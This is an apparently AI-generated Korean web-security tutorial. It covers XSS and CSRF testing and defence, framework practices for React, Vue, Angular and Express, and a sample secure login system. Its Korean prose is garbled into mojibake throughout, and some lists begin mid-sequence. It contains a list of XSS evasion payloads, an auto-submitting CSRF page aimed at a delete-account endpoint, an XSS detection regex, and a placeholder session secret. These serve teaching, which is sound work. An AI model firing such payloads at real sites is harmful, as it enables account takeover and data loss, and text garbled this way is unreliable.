# npm audit์ผ๋ก ์ทจ์ฝ์ ๊ฒ์ฌ
npm audit
# ์๋์ผ๋ก ์์ ๊ฐ๋ฅํ ์ทจ์ฝ์ ํจ์น
npm audit fix
# ๊ฐ์ ๋ก ๋ฉ์ด์ ๋ฒ์ ์
๋ฐ์ดํธ (์ฃผ์ ํ์!)
npm audit fix --force
# Snyk ๊ฐ์ ๋๊ตฌ ์ฌ์ฉ
npm install -g snyk
snyk test
snyk wizard
๐งช ์ค์ ํ ์คํธ: ๋ณด์ ์ทจ์ฝ์ ์ฐพ๊ธฐ
๐ฌ XSS ์ทจ์ฝ์ ํ ์คํธ ๋ฐฉ๋ฒ
์์ ์ ์น์ฌ์ดํธ์ XSS ์ทจ์ฝ์ ์ด ์๋์ง ํ
์คํธํด๋ณด์!
(์ ๋ ๋ค๋ฅธ ์ฌ๋ ์ฌ์ดํธ์์ ํ
์คํธํ๋ฉด ์ ๋ผ! ๋ถ๋ฒ์ด์ผ! โ๏ธ)
// ๊ธฐ๋ณธ ํ
์คํธ
<script>alert('XSS')</script>
// ์ด๋ฏธ์ง ํ๊ทธ ํ์ฉ
<img src=x onerror=alert('XSS')>
// SVG ํ์ฉ
<svg onload=alert('XSS')>
// ๋์๋ฌธ์ ์ฐํ
<ScRiPt>alert('XSS')</sCrIpT>
// ์ธ์ฝ๋ฉ ์ฐํ
<script>alert(String.fromCharCode(88,83,83))</script>
// ์ด๋ฒคํธ ํธ๋ค๋ฌ
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
// JavaScript URI
<a href="javascript:alert('XSS')">ํด๋ฆญ</a>
// DOM-based XSS ํ
์คํธ
#<img src=x onerror=alert('XSS')>
๐ฌ CSRF ์ทจ์ฝ์ ํ ์คํธ ๋ฐฉ๋ฒ
CSRF ์ทจ์ฝ์ ์ ํ ์คํธํ๋ ค๋ฉด ๊ฐ๋จํ HTML ํ์ผ์ ๋ง๋ค์ด๋ด.
<!-- csrf-test.html -->
<!DOCTYPE html>
<html>
<head>
<title>CSRF ํ
์คํธ</title>
</head>
<body>
<h1>CSRF ์ทจ์ฝ์ ํ
์คํธ</h1>
<!-- ์๋ ์ ์ถ ํผ -->
<form action="http://localhost:3000/api/delete-account"
method="POST"
id="csrfForm">
<input type="hidden" name="confirm" value="yes">
</form>
<script>
// ํ์ด์ง ๋ก๋ ์ ์๋ ์ ์ถ
window.onload = function() {
document.getElementById('csrfForm').submit();
};
</script>
<p>๋ง์ฝ ๊ณ์ ์ด ์ญ์ ๋๋ฉด CSRF ์ทจ์ฝ์ ์ด ์๋ ๊ฒ์
๋๋ค!</p>
</body>
</html>
์ด ํ์ผ์ ์ด์์ ๋ ์ค์ ๋ก ๊ณ์ ์ด ์ญ์ ๋๋ฉด CSRF ๋ฐฉ์ด๊ฐ ์ ๋์ด ์๋ ๊ฑฐ์ผ!
์ ๋๋ก ๋ฐฉ์ด๋์ด ์๋ค๋ฉด 403 ์๋ฌ๋ ํ ํฐ ๋ถ์ผ์น ์๋ฌ๊ฐ ๋์ผ ํด. โ
๐ ๏ธ ๋ณด์ ํ ์คํธ ๋๊ตฌ
| ๋๊ตฌ | ์ฉ๋ | ํน์ง |
|---|---|---|
| OWASP ZAP | ์น ์ทจ์ฝ์ ์ค์บ๋ | ๋ฌด๋ฃ, ์คํ์์ค, ์๋/์๋ ํ ์คํธ ๊ฐ๋ฅ |
| Burp Suite | ์น ๋ณด์ ํ ์คํธ | ํ๋ก์ ๊ธฐ๋ฅ, ๊ฐ๋ ฅํ ๋ถ์ ๋๊ตฌ |
| XSS Hunter | XSS ํ์ง | Blind XSS ์ฐพ๊ธฐ์ ํนํ |
| npm audit | ์์กด์ฑ ์ทจ์ฝ์ ๊ฒ์ฌ | Node.js ํ๋ก์ ํธ ํ์ |
| Snyk | ๋ณด์ ์ทจ์ฝ์ ๋ชจ๋ํฐ๋ง | ์ค์๊ฐ ์๋ฆผ, CI/CD ํตํฉ |
๐ ํ๋ ์์ํฌ๋ณ ๋ณด์ ๊ฐ์ด๋
โ๏ธ React ๋ณด์ Best Practices
React๋ ๊ธฐ๋ณธ์ ์ผ๋ก XSS๋ฅผ ๋ฐฉ์ดํด์ฃผ์ง๋ง, ์กฐ์ฌํด์ผ ํ ๋ถ๋ถ์ด ์์ด!
// ๐ซ ์ํ! dangerouslySetInnerHTML ์ฌ์ฉ
function Comment({ html }) {
return (
<div dangerouslySetInnerHTML={{ __html: html }} />
);
}
// โ
์์ ํ ๋ฐฉ๋ฒ 1: ํ
์คํธ๋ก ๋ ๋๋ง
function Comment({ text }) {
return <div>{text}</div>;
}
// โ
์์ ํ ๋ฐฉ๋ฒ 2: DOMPurify ์ฌ์ฉ
import DOMPurify from 'dompurify';
function Comment({ html }) {
const cleanHTML = DOMPurify.sanitize(html);
return (
<div dangerouslySetInnerHTML={{ __html: cleanHTML }} />
);
}
// Axios ์ธํฐ์
ํฐ๋ก CSRF ํ ํฐ ์๋ ์ถ๊ฐ
import axios from 'axios';
// CSRF ํ ํฐ ๊ฐ์ ธ์ค๊ธฐ
function getCsrfToken() {
return document.querySelector('meta[name="csrf-token"]')?.content;
}
// Axios ์ธ์คํด์ค ์์ฑ
const api = axios.create({
baseURL: '/api',
withCredentials: true, // ์ฟ ํค ํฌํจ
});
// ์์ฒญ ์ธํฐ์
ํฐ
api.interceptors.request.use(config => {
const token = getCsrfToken();
if (token) {
config.headers['X-CSRF-Token'] = token;
}
return config;
});
// ์ฌ์ฉ
const transferMoney = async (to, amount) => {
try {
const response = await api.post('/transfer', { to, amount });
console.log('์ก๊ธ ์ฑ๊ณต:', response.data);
} catch (error) {
console.error('์ก๊ธ ์คํจ:', error);
}
};
๐ข Vue.js ๋ณด์ Best Practices
Vue๋ React์ฒ๋ผ ๊ธฐ๋ณธ์ ์ผ๋ก ์์ ํ์ง๋ง, v-html ๋๋ ํฐ๋ธ๋ ์กฐ์ฌํด์ผ ํด!
<!-- ๐ซ ์ํ! v-html ์ฌ์ฉ -->
<div v-html="userInput"></div>
<!-- โ
์์ ! ํ
์คํธ ๋ณด๊ฐ -->
<div>{{ userInput }}</div>
<!-- โ
์์ ! DOMPurify ์ฌ์ฉ -->
<template>
<div v-html="sanitizedHTML"></div>
</template>
<script>
import DOMPurify from 'dompurify';
export default {
data() {
return {
userInput: '<script>alert("XSS")</script>'
};
},
computed: {
sanitizedHTML() {
return DOMPurify.sanitize(this.userInput);
}
}
};
</script>
๐ ฐ๏ธ Angular ๋ณด์ Best Practices
Angular๋ ๋ณด์ ๊ธฐ๋ฅ์ด ๊ฐ์ฅ ๊ฐ๋ ฅํด! ์๋์ผ๋ก ์๋ํ์ด์ ์ด์ ์ ํด์ค.
// Angular์ DomSanitizer ์ฌ์ฉ
import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Component({
selector: 'app-comment',
template: `
<!-- ์๋์ผ๋ก ์๋ํ์ด์ฆ๋จ -->
<div [innerHTML]="userInput"></div>
<!-- ์ ๋ขฐํ ์ ์๋ HTML (์ฃผ์ํด์ ์ฌ์ฉ!) -->
<div [innerHTML]="trustedHTML"></div>
`
})
export class CommentComponent {
userInput = '<script>alert("XSS")</script>'; // ์๋ ์ฐจ๋จ๋จ
trustedHTML: SafeHtml;
constructor(private sanitizer: DomSanitizer) {
// ์ ๋ง ์ ๋ขฐํ ์ ์๋ HTML๋ง ์ด๋ ๊ฒ ์ฒ๋ฆฌ
this.trustedHTML = this.sanitizer.bypassSecurityTrustHtml(
'<p>์์ ํ HTML</p>'
);
}
}
๐ฉ Node.js/Express ๋ณด์ ์ฒดํฌ๋ฆฌ์คํธ
- โ๏ธ Helmet.js๋ก ๋ณด์ ํค๋ ์ค์
- โ๏ธ CORS ์ ์ฑ ์ค์
- โ๏ธ Rate limiting ์ ์ฉ
- โ๏ธ CSRF ํ ํฐ ์ฌ์ฉ
- โ๏ธ ์ ๋ ฅ๊ฐ ๊ฒ์ฆ (express-validator)
- โ๏ธ SQL Injection ๋ฐฉ์ง (Prepared Statements)
- โ๏ธ ํ๊ฒฝ๋ณ์๋ก ๋ฏผ๊ฐ ์ ๋ณด ๊ด๋ฆฌ (.env)
- โ๏ธ HTTPS ๊ฐ์ (production)
- โ๏ธ ์ธ์ ๋ณด์ ์ค์
- โ๏ธ ์ ๊ธฐ์ ์ธ ์์กด์ฑ ์ ๋ฐ์ดํธ
// ์๋ฒฝํ Express ๋ณด์ ์ค์ ์์
const express = require('express');
const helmet = require('helmet');
const cors = require('cors');
const rateLimit = require('express-rate-limit');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const { body, validationResult } = require('express-validator');
const app = express();
// 1. Helmet์ผ๋ก ๋ณด์ ํค๋ ์ค์
app.use(helmet());
// 2. CORS ์ค์
app.use(cors({
origin: 'https://yourdomain.com',
credentials: true
}));
// 3. Rate limiting
const limiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 100
});
app.use('/api/', limiter);
// 4. Body parser
app.use(express.json({ limit: '10kb' })); // ์์ฒญ ํฌ๊ธฐ ์ ํ
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
app.use(cookieParser());
// 5. CSRF ๋ณดํธ
const csrfProtection = csrf({ cookie: true });
// 6. ์
๋ ฅ๊ฐ ๊ฒ์ฆ ๋ฏธ๋ค์จ์ด
const validateTransfer = [
body('to').isLength({ min: 10, max: 20 }).trim().escape(),
body('amount').isInt({ min: 1, max: 1000000 }),
(req, res, next) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
next();
}
];
// 7. ๋ผ์ฐํธ ์ค์
app.post('/api/transfer',
csrfProtection,
validateTransfer,
async (req, res) => {
try {
const { to, amount } = req.body;
// ์ก๊ธ ๋ก์ง...
res.json({ success: true });
} catch (error) {
res.status(500).json({ error: '์๋ฒ ์ค๋ฅ' });
}
}
);
// 8. ์๋ฌ ํธ๋ค๋ฌ
app.use((err, req, res, next) => {
console.error(err.stack);
res.status(500).send('์๋ฒ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ต๋๋ค.');
});
// 9. HTTPS ๋ฆฌ๋ค์ด๋ ํธ (production)
if (process.env.NODE_ENV === 'production') {
app.use((req, res, next) => {
if (req.header('x-forwarded-proto') !== 'https') {
res.redirect(`https://${req.header('host')}${req.url}`);
} else {
next();
}
});
}
app.listen(3000, () => {
console.log('์๋ฒ ์์! ๋ณด์ ์ค์ ์๋ฃ โ
');
});
๐ ์ค์ ํ๋ก์ ํธ: ๋ณด์์ด ๊ฐํ๋ ๋ก๊ทธ์ธ ์์คํ ๋ง๋ค๊ธฐ
์ด์ ๋ฐฐ์ด ๊ฑธ ๋ค ํฉ์ณ์ ์ค์ ํ๋ก์ ํธ๋ฅผ ๋ง๋ค์ด๋ณด์!
XSS์ CSRF ๋ฐฉ์ด๊ฐ ์๋ฒฝํ๊ฒ ์ ์ฉ๋ ๋ก๊ทธ์ธ ์์คํ
์ด์ผ. ๐ช
๐ ํ๋ก์ ํธ ๊ตฌ์กฐ
secure-login/
โโโ server/
โ โโโ server.js # Express ์๋ฒ
โ โโโ middleware/
โ โ โโโ auth.js # ์ธ์ฆ ๋ฏธ๋ค์จ์ด
โ โ โโโ security.js # ๋ณด์ ๋ฏธ๋ค์จ์ด
โ โโโ routes/
โ โโโ auth.js # ์ธ์ฆ ๋ผ์ฐํธ
โโโ client/
โ โโโ index.html
โ โโโ login.js
โ โโโ styles.css
โโโ package.json
๐ง ์๋ฒ ๊ตฌํ (server.js)
// server.js
const express = require('express');
const helmet = require('helmet');
const rateLimit = require('express-rate-limit');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const session = require('express-session');
const bcrypt = require('bcrypt');
const { body, validationResult } = require('express-validator');
const app = express();
// ๋ณด์ ๋ฏธ๋ค์จ์ด
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
},
},
}));
// Rate limiting
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
message: '๋ก๊ทธ์ธ ์๋๊ฐ ๋๋ฌด ๋ง์ต๋๋ค. 15๋ถ ํ ๋ค์ ์๋ํด์ฃผ์ธ์.',
});
// Body parser
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());
// ์ธ์
์ค์
app.use(session({
secret: process.env.SESSION_SECRET || 'your-secret-key',
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 3600000 // 1์๊ฐ
}
}));
// CSRF ๋ณดํธ
const csrfProtection = csrf({ cookie: true });
// ์ ์ ํ์ผ ์ ๊ณต
app.use(express.static('client'));
// CSRF ํ ํฐ ๋ฐ๊ธ
app.get('/api/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// ๋ก๊ทธ์ธ ๋ผ์ฐํธ
app.post('/api/login',
loginLimiter,
csrfProtection,
[
body('username')
.trim()
.isLength({ min: 3, max: 20 })
.escape()
.withMessage('์ฌ์ฉ์๋ช
์ 3-20์์ฌ์ผ ํฉ๋๋ค.'),
body('password')
.isLength({ min: 8 })
.withMessage('๋น๋ฐ๋ฒํธ๋ ์ต์ 8์ ์ด์์ด์ด์ผ ํฉ๋๋ค.'),
],
async (req, res) => {
// ์
๋ ฅ๊ฐ ๊ฒ์ฆ
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
const { username, password } = req.body;
try {
// ์ค์ ๋ก๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ์กฐํ
const user = await findUserByUsername(username);
if (!user) {
return res.status(401).json({
error: '์ฌ์ฉ์๋ช
๋๋ ๋น๋ฐ๋ฒํธ๊ฐ ์ฌ๋ฐ๋ฅด์ง ์์ต๋๋ค.'
});
}
// ๋น๋ฐ๋ฒํธ ๊ฒ์ฆ
const isValid = await bcrypt.compare(password, user.passwordHash);
if (!isValid) {
return res.status(401).json({
error: '์ฌ์ฉ์๋ช
๋๋ ๋น๋ฐ๋ฒํธ๊ฐ ์ฌ๋ฐ๋ฅด์ง ์์ต๋๋ค.'
});
}
// ์ธ์
์์ฑ
req.session.userId = user.id;
req.session.username = user.username;
res.json({
success: true,
message: '๋ก๊ทธ์ธ ์ฑ๊ณต!',
user: {
id: user.id,
username: user.username
}
});
} catch (error) {
console.error('๋ก๊ทธ์ธ ์ค๋ฅ:', error);
res.status(500).json({ error: '์๋ฒ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ต๋๋ค.' });
}
}
);
// ๋ก๊ทธ์์
app.post('/api/logout', csrfProtection, (req, res) => {
req.session.destroy(err => {
if (err) {
return res.status(500).json({ error: '๋ก๊ทธ์์ ์คํจ' });
}
res.clearCookie('connect.sid');
res.json({ success: true, message: '๋ก๊ทธ์์ ์ฑ๊ณต' });
});
});
// ์ธ์ฆ ํ์ธ
app.get('/api/me', (req, res) => {
if (!req.session.userId) {
return res.status(401).json({ error: '์ธ์ฆ๋์ง ์์์ต๋๋ค.' });
}
res.json({
id: req.session.userId,
username: req.session.username
});
});
// ๋๋ฏธ ์ฌ์ฉ์ ์ฐพ๊ธฐ ํจ์ (์ค์ ๋ก๋ DB ์กฐํ)
async function findUserByUsername(username) {
// ์์: bcrypt.hash('password123', 10)์ผ๋ก ์์ฑ๋ ํด์
const users = {
'testuser': {
id: 1,
username: 'testuser',
passwordHash: '$2b$10$...' // ์ค์ ํด์๊ฐ
}
};
return users[username] || null;
}
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`๐ ์๋ฒ ์์: http://localhost:${PORT}`);
console.log('โ
๋ณด์ ์ค์ ์๋ฃ!');
});
๐ป ํด๋ผ์ด์ธํธ ๊ตฌํ (login.js)
// login.js
class SecureLoginForm {
constructor() {
this.csrfToken = null;
this.init();
}
async init() {
await this.fetchCsrfToken();
this.setupEventListeners();
}
// CSRF ํ ํฐ ๊ฐ์ ธ์ค๊ธฐ
async fetchCsrfToken() {
try {
const response = await fetch('/api/csrf-token', {
credentials: 'include'
});
const data = await response.json();
this.csrfToken = data.csrfToken;
console.log('โ
CSRF ํ ํฐ ๋ฐ๊ธ ์๋ฃ');
} catch (error) {
console.error('CSRF ํ ํฐ ๊ฐ์ ธ์ค๊ธฐ ์คํจ:', error);
}
}
setupEventListeners() {
const loginForm = document.getElementById('loginForm');
loginForm.addEventListener('submit', (e) => this.handleLogin(e));
}
// ์
๋ ฅ๊ฐ ๊ฒ์ฆ (ํด๋ผ์ด์ธํธ ์ธก)
validateInput(username, password) {
const errors = [];
// ์ฌ์ฉ์๋ช
๊ฒ์ฆ
if (username.length < 3 || username.length > 20) {
errors.push('์ฌ์ฉ์๋ช
์ 3-20์์ฌ์ผ ํฉ๋๋ค.');
}
// XSS ํจํด ๊ฒ์ฌ
const xssPattern = /<script|javascript:|on\w+=/i;
if (xssPattern.test(username) || xssPattern.test(password)) {
errors.push('ํ์ฉ๋์ง ์๋ ๋ฌธ์๊ฐ ํฌํจ๋์ด ์์ต๋๋ค.');
}
// ๋น๋ฐ๋ฒํธ ๊ฒ์ฆ
if (password.length < 8) {
errors.push('๋น๋ฐ๋ฒํธ๋ ์ต์ 8์ ์ด์์ด์ด์ผ ํฉ๋๋ค.');
}
return errors;
}
// ๋ก๊ทธ์ธ ์ฒ๋ฆฌ
async handleLogin(event) {
event.preventDefault();
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
// ํด๋ผ์ด์ธํธ ์ธก ๊ฒ์ฆ
const errors = this.validateInput(username, password);
if (errors.length > 0) {
this.showError(errors.join('<br>'));
return;
}
try {
const response = await fetch('/api/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': this.csrfToken, // CSRF ํ ํฐ ํฌํจ
},
credentials: 'include', // ์ฟ ํค ํฌํจ
body: JSON.stringify({ username, password })
});
const data = await response.json();
if (response.ok) {
this.showSuccess('๋ก๊ทธ์ธ ์ฑ๊ณต! ๐');
// ๋์๋ณด๋๋ก ๋ฆฌ๋ค์ด๋ ํธ
setTimeout(() => {
window.location.href = '/dashboard';
}, 1000);
} else {
this.showError(data.error || '๋ก๊ทธ์ธ ์คํจ');
}
} catch (error) {
console.error('๋ก๊ทธ์ธ ์ค๋ฅ:', error);
this.showError('์๋ฒ์ ํต์ ํ ์ ์์ต๋๋ค.');
}
}
// ์๋ฌ ๋ฉ์์ง ํ์ (XSS ๋ฐฉ์ง)
showError(message) {
const errorDiv = document.getElementById('errorMessage');
// textContent ์ฌ์ฉ์ผ๋ก XSS ๋ฐฉ์ง!
errorDiv.textContent = message;
errorDiv.style.display = 'block';
errorDiv.className = 'error';
}
// ์ฑ๊ณต ๋ฉ์์ง ํ์
showSuccess(message) {
const errorDiv = document.getElementById('errorMessage');
errorDiv.textContent = message;
errorDiv.style.display = 'block';
errorDiv.className = 'success';
}
}
// ํ์ด์ง ๋ก๋ ์ ์ด๊ธฐํ
document.addEventListener('DOMContentLoaded', () => {
new SecureLoginForm();
});
๐จ HTML (index.html)
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>๋ณด์ ๋ก๊ทธ์ธ</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="container">
<h1>๐ ๋ณด์ ๋ก๊ทธ์ธ ์์คํ
</h1>
<div class="security-badges">
<span class="badge">โ
XSS ๋ฐฉ์ด</span>
<span class="badge">โ
CSRF ๋ฐฉ์ด</span>
<span class="badge">โ
Rate Limiting</span>
</div>
<form id="loginForm">
<div class="form-group">
<label for="username">์ฌ์ฉ์๋ช
</label>
<input
type="text"
id="username"
name="username"
required
minlength="3"
maxlength="20"
autocomplete="username"
>
</div>
<div class="form-group">
<label for="password">๋น๋ฐ๋ฒํธ</label>
<input
type="password"
id="password"
name="password"
required
minlength="8"
autocomplete="current-password"
>
</div>
<div id="errorMessage" style="display:none;"></div>
<button type="submit">๋ก๊ทธ์ธ</button>
</form>
<div class="info">
<p>ํ
์คํธ ๊ณ์ : testuser / password123</p>
</div>
</div>
<script src="login.js"></script>
</body>
</html>
2๏ธโฃ CSRF ๋ฐฉ์ด: CSRF ํ ํฐ, SameSite ์ฟ ํค
3๏ธโฃ Rate Limiting: ๋ก๊ทธ์ธ ์๋ ์ ํ
4๏ธโฃ ์์ ํ ์ธ์ : HttpOnly, Secure ์ฟ ํค
5๏ธโฃ ๋น๋ฐ๋ฒํธ ๋ณด์: bcrypt ํด์ฑ
6๏ธโฃ ์ ๋ ฅ๊ฐ ๊ฒ์ฆ: ํด๋ผ์ด์ธํธ + ์๋ฒ ์์ชฝ ๊ฒ์ฆ
7๏ธโฃ ๋ณด์ ํค๋: Helmet.js ์ฌ์ฉ
๐ ์ถ๊ฐ ํ์ต ๋ฆฌ์์ค ๋ฐ ์ฐธ๊ณ ์๋ฃ
๐ ๊ณต์ ๋ฌธ์ ๋ฐ ๊ฐ์ด๋
์น ๋ณด์์ ๋ฐ์ด๋ธ! OWASP Top 10์ ํ์๋ก ์ฝ์ด๋ด์ผ ํด.
MDN Web Security
โ https://developer.mozilla.org/ko/docs/Web/Security
Mozilla์ ๊ณต์ ๋ณด์ ๋ฌธ์. ์์ ์ฝ๋๊ฐ ํ๋ถํด!
Node.js Security Best Practices
โ https://nodejs.org/en/docs/guides/security
Node.js ๊ณต์ ๋ณด์ ๊ฐ์ด๋๋ผ์ธ.
๐ ๏ธ ์ ์ฉํ ๋๊ตฌ ๋ฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ
| ๋ผ์ด๋ธ๋ฌ๋ฆฌ | ์ฉ๋ | ์ค์น ๋ช ๋ น์ด |
|---|---|---|
| DOMPurify | HTML ์๋ํ์ด์ ์ด์ | npm install dompurify |
| Helmet | ๋ณด์ ํค๋ ์ค์ | npm install helmet |
| csurf | CSRF ํ ํฐ ์์ฑ | npm install csurf |
| express-rate-limit | Rate limiting | npm install express-rate-limit |
| express-validator | ์ ๋ ฅ๊ฐ ๊ฒ์ฆ | npm install express-validator |
| bcrypt | ๋น๋ฐ๋ฒํธ ํด์ฑ | npm install bcrypt |
๐ ์ถ์ฒ ๋์
๐ "Node.js Secure Coding"
Node.js ๋ณด์ ์ฝ๋ฉ ํจํด์ ๋ฐฐ์ธ ์ ์๋ ์ค์ ์.
๐ "OWASP Testing Guide"
๋ฌด๋ฃ! OWASP์์ ์ ๊ณตํ๋ ๋ณด์ ํ ์คํ ๊ฐ์ด๋.
๐ ์จ๋ผ์ธ ๊ฐ์ ๋ฐ ์ปค๋ฎค๋ํฐ
JavaScript ๋ณด์ ๊ด๋ จ ๊ฐ์๋ ๋ฉํ ๋ง์ ์ฐพ์๋ณด๋ฉด ๋์์ด ๋ง์ด ๋ ๊ฑฐ์ผ. ๐ก
PortSwigger Web Security Academy
๋ฌด๋ฃ ์น ๋ณด์ ์ค์ต ํ๋ซํผ. ์ค์ ๋ก ์ทจ์ฝ์ ์ ๊ณต๊ฒฉํด๋ณด๋ฉด์ ๋ฐฐ์ธ ์ ์์ด!
HackerOne / Bugcrowd
๋ฒ๊ทธ ๋ฐ์ดํฐ ํ๋ซํผ. ์ค์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ ๋ณด์๋ ๋ฐ์ ์ ์์ง!
๐ฏ ๋ง๋ฌด๋ฆฌ: ๋ณด์์ ์ ํ์ด ์๋ ํ์!
์, ์ฌ๊ธฐ๊น์ง JavaScript ๋ณด์์ ๋ํด ์์ฒญ ๋ง์ ๊ฑธ ๋ฐฐ์ ์ด! ๐
XSS, CSRF ๊ณต๊ฒฉ๋ถํฐ ์์ํด์ ์ค์ ๋ฐฉ์ด ๊ธฐ๋ฒ, ํ๋ ์์ํฌ๋ณ ๋ณด์ ์ค์ ,
๊ทธ๋ฆฌ๊ณ ์์ ํ ๋ณด์ ๋ก๊ทธ์ธ ์์คํ
๊น์ง ๋ง๋ค์ด๋ดค์์?
์์งํ ์ฒ์์ ๋ณต์กํด ๋ณด์ผ ์ ์์ด.
"์ด๊ฑธ ๋ค ํด์ผ ํด?" ์ถ์ ์๋ ์๊ณ .
ํ์ง๋ง ํ ๋ฒ ์ ๋๋ก ์ตํ๋๋ฉด ํ์ ์จ๋จน์ ์ ์๋ ์คํฌ์ด์ผ! ๐ช
โ ์ ๋ ฅ๊ฐ ๊ฒ์ฆ, textContent ์ฌ์ฉ, DOMPurify, CSP ์ค์
2. CSRF ๊ณต๊ฒฉ ๋ฐฉ์ด
โ CSRF ํ ํฐ, SameSite ์ฟ ํค, Referer ๊ฒ์ฆ
3. ์ถ๊ฐ ๋ณด์ ์กฐ์น
โ HTTPS, Rate Limiting, ๋ณด์ ํค๋, ์์กด์ฑ ๊ด๋ฆฌ
4. ํ๋ ์์ํฌ๋ณ ๋ณด์
โ React, Vue, Angular, Node.js ๊ฐ๊ฐ์ Best Practices
5. ์ค์ ํ๋ก์ ํธ
โ ๋ณด์์ด ๊ฐํ๋ ๋ก๊ทธ์ธ ์์คํ ๊ตฌํ
๐ก ์ค๋ฌด์์ ๊ธฐ์ตํด์ผ ํ ๊ฒ๋ค
์๋ก์ด ์ทจ์ฝ์ ์ ๊ณ์ ๋ฐ๊ฒฌ๋๊ณ , ๊ณต๊ฒฉ ๊ธฐ๋ฒ๋ ์งํํด.
๊ทธ๋์ ํญ์ ์ต์ ํธ๋ ๋๋ฅผ ๋ฐ๋ผ๊ฐ๊ณ , ์ ๊ธฐ์ ์ผ๋ก ์ ๊ฒํด์ผ ํด!
๋ณด์ ์ฒดํฌ๋ฆฌ์คํธ๋ฅผ ๋ง๋ค์ด์ ํ๋ก์ ํธ๋ง๋ค ํ์ธํ๋ ์ต๊ด์ ๋ค์ด์! โ
๐ ๋ค์ ๋จ๊ณ๋ก ๋์๊ฐ๊ธฐ
์ด์ ๋๋ JavaScript ๋ณด์์ ๊ธฐ์ด๋ฅผ ํํํ๊ฒ ๋ค์ก์ด!
๋ค์ ๋จ๊ณ๋ก๋ ์ด๋ฐ ๊ฒ๋ค์ ๊ณต๋ถํด๋ณด๋ฉด ์ข์:
โ ํ๋์ ์ธ ์ธ์ฆ ๋ฐฉ์ ๋ง์คํฐํ๊ธฐ
2๏ธโฃ SQL Injection ๋ฐฉ์ด
โ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ณด์ ๊ฐํ
3๏ธโฃ API ๋ณด์
โ RESTful API, GraphQL ๋ณด์
4๏ธโฃ ์ปจํ ์ด๋ ๋ณด์
โ Docker, Kubernetes ๋ณด์ ์ค์
5๏ธโฃ ํด๋ผ์ฐ๋ ๋ณด์
โ AWS, Azure, GCP ๋ณด์ Best Practices
๐ ๋ง์ง๋ง ์กฐ์ธ
๋ณด์์ ๋ฌด์ญ๊ฑฐ๋ ์ด๋ ค์ด ๊ฒ ์๋์ผ.
๊ทธ๋ฅ ์ฌ์ฉ์๋ฅผ ๋ณดํธํ๊ณ ์ถ์ ๋ง์์์ ์์ํ๋ ๊ฑฐ์ผ. โค๏ธ
๋๊ฐ ๋ง๋ ์น์ฌ์ดํธ๋ฅผ ์ฌ์ฉํ๋ ์ฌ๋๋ค์ด
์์ ํ๊ฒ ์๋น์ค๋ฅผ ์ด์ฉํ ์ ์๋๋ก ํ๋ ๊ฒ.
๊ทธ๊ฒ ๋ฐ๋ก ๊ฐ๋ฐ์์ ์ฑ
์์ด์ ์๋ถ์ฌ์ด์ง!
์ฌ๋ฅ๋ท ๊ฐ์ ํ๋ซํผ์์ ํ๋ก์ ํธ๋ฅผ ์งํํ ๋๋,
"์ ๋ ๋ณด์์ ์ค์ํ๊ฒ ์๊ฐํ๋ ๊ฐ๋ฐ์์
๋๋ค"๋ผ๊ณ ๋งํ ์ ์๋ค๋ฉด
ํด๋ผ์ด์ธํธ์ ์ ๋ขฐ๋ฅผ ์ป์ ์ ์์ ๊ฑฐ์ผ. ๐ผ
์, ์ด์ ๋๊ฐ์ ์์ ํ ์น์ ๋ง๋ค์ด๋ณด์!
ํ์ดํ
! ๐โจ
JavaScript ๋ณด์ ๋ง์คํฐ ๊ณผ์ ์ ์๋ฃํ์ต๋๋ค!
์ด์ ๋น์ ์ XSS์ CSRF ๊ณต๊ฒฉ์ ๋ง์ ์ ์๋
์ง์ ํ ๋ณด์ ์ ๋ฌธ๊ฐ์ ๋๋ค! ๐ก๏ธ
Keep Learning, Stay Secure! ๐ช
๊ด๋ จ ํค์๋
๋๊ธ ์์ฑ
์ด ๊ธ์ ๋ํ ์ฌ๋ฌ๋ถ์ ์๊ฐ์ ๋ค๋ ค์ฃผ์ธ์
๋ก๊ทธ์ธ์ด ํ์ํฉ๋๋ค
๋๊ธ์ ์์ฑํ๋ ค๋ฉด ๋จผ์ ๋ก๊ทธ์ธํด์ฃผ์ธ์.
๋๊ธ 0
์ง์์ธ์ ์ฒ - ์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
- ์ ์๊ถ ๋ฐ ์์ ๊ถ: ๋ณธ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ๋ ์ AI ๊ธฐ์ ๋ก ์์ฑ๋์์ผ๋ฉฐ, ๋ํ๋ฏผ๊ตญ ์ ์๊ถ๋ฒ ๋ฐ ๊ตญ์ ์ ์๊ถ ํ์ฝ์ ์ํด ๋ณดํธ๋ฉ๋๋ค.
